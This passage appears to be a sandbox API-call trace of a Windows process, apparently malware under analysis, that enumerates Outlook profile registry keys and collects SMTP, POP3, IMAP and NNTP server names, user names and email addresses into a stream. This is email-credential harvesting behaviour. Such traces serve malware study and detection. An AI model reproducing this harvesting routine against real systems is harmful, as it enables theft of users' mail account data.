(hKey=0x3e8) returned 0x0 [0054.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.981] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.981] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.981] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.981] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.982] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.982] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.982] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.982] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.982] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.982] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.982] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.982] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.982] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.982] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.982] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.982] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.982] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.982] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.982] LocalFree (hMem=0x74dc68) returned 0x0 [0054.982] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000002", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.982] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0054.983] lstrlenA (lpString="\\") returned 1 [0054.983] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x9410850 [0054.983] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0054.983] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0054.983] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 89 [0054.983] lstrlenA (lpString="00000002") returned 8 [0054.983] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74dc68 [0054.983] lstrcpyA (in: lpString1=0x74dc68, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0054.983] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000002" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002" [0054.983] LocalFree (hMem=0x9410850) returned 0x0 [0054.983] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.983] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.983] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.983] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.983] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.983] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.983] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.983] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.983] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.983] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.983] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x3, lpData=0x0, lpcbData=0xeecb8*=0xc) returned 0x0 [0054.983] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a770 [0054.983] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x76a770, lpcbData=0xeecb8*=0xc | out: lpType=0x0, lpData=0x76a770*=0x64, lpcbData=0xeecb8*=0xc) returned 0x0 [0054.983] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.983] IsTextUnicode (in: lpv=0x76a770, iSize=12, lpiResult=0x0 | out: lpiResult=0x0) returned 1 [0054.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dgerg", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0054.983] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x940a908 [0054.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dgerg", cchWideChar=6, lpMultiByteStr=0x940a908, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dgerg", lpUsedDefaultChar=0x0) returned 6 [0054.983] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeccc) returned 0x0 [0054.983] lstrlenA (lpString="SMTP Server") returned 11 [0054.983] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeca8) returned 0x0 [0054.983] IStream:Commit (This=0x7473d8, grfCommitFlags=0x10010809) returned 0x0 [0054.983] lstrlenA (lpString="dgerg") returned 5 [0054.983] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeca8) returned 0x0 [0054.983] IStream:Commit (This=0x7473d8, grfCommitFlags=0x940a908) returned 0x0 [0054.983] LocalFree (hMem=0x940a908) returned 0x0 [0054.984] LocalFree (hMem=0x76a770) returned 0x0 [0054.984] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.984] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x77143f9f | out: lpType=0xeecb4*=0x3, lpData=0x0, lpcbData=0xeecb8*=0xc) returned 0x0 [0054.984] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a770 [0054.984] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x76a770, lpcbData=0xeecb8*=0xc | out: lpType=0x0, lpData=0x76a770*=0x72, lpcbData=0xeecb8*=0xc) returned 0x0 [0054.984] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.984] IsTextUnicode (in: lpv=0x76a770, iSize=12, lpiResult=0x0 | out: lpiResult=0x0) returned 1 [0054.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rherh", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0054.984] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x940a908 [0054.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rherh", cchWideChar=6, lpMultiByteStr=0x940a908, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rherh", lpUsedDefaultChar=0x0) returned 6 [0054.984] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeccc) returned 0x0 [0054.984] lstrlenA (lpString="POP3 Server") returned 11 [0054.984] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeca8) returned 0x0 [0054.984] IStream:Commit (This=0x7473d8, grfCommitFlags=0x10010815) returned 0x0 [0054.984] lstrlenA (lpString="rherh") returned 5 [0054.984] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeca8) returned 0x0 [0054.984] IStream:Commit (This=0x7473d8, grfCommitFlags=0x940a908) returned 0x0 [0054.984] LocalFree (hMem=0x940a908) returned 0x0 [0054.984] LocalFree (hMem=0x76a770) returned 0x0 [0054.984] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.984] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x77143f9f | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.984] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.984] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.984] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.984] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.984] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.984] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.984] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.984] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.984] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.984] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.984] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.985] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.985] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.985] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.985] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.985] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.985] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.985] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.985] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.985] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.985] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.985] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.985] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.985] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.985] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.985] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.986] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.986] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.986] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.986] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.986] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.986] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.986] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.986] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.986] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.986] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.986] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.986] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.986] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.986] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.986] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.986] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.986] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.986] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.986] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.986] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.986] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.986] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.986] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.987] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.987] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.987] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.987] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.987] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.987] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.987] RegQueryValueExA (in: hKey=0x3e8, lpValueName="Email", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x3, lpData=0x0, lpcbData=0xeecb8*=0x1e) returned 0x0 [0054.987] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x759000 [0054.987] RegQueryValueExA (in: hKey=0x3e8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x759000, lpcbData=0xeecb8*=0x1e | out: lpType=0x0, lpData=0x759000*=0x63, lpcbData=0xeecb8*=0x1e) returned 0x0 [0054.987] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.987] IsTextUnicode (in: lpv=0x759000, iSize=30, lpiResult=0x0 | out: lpiResult=0x0) returned 1 [0054.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cjvue@idhe.com", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0054.987] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a770 [0054.987] 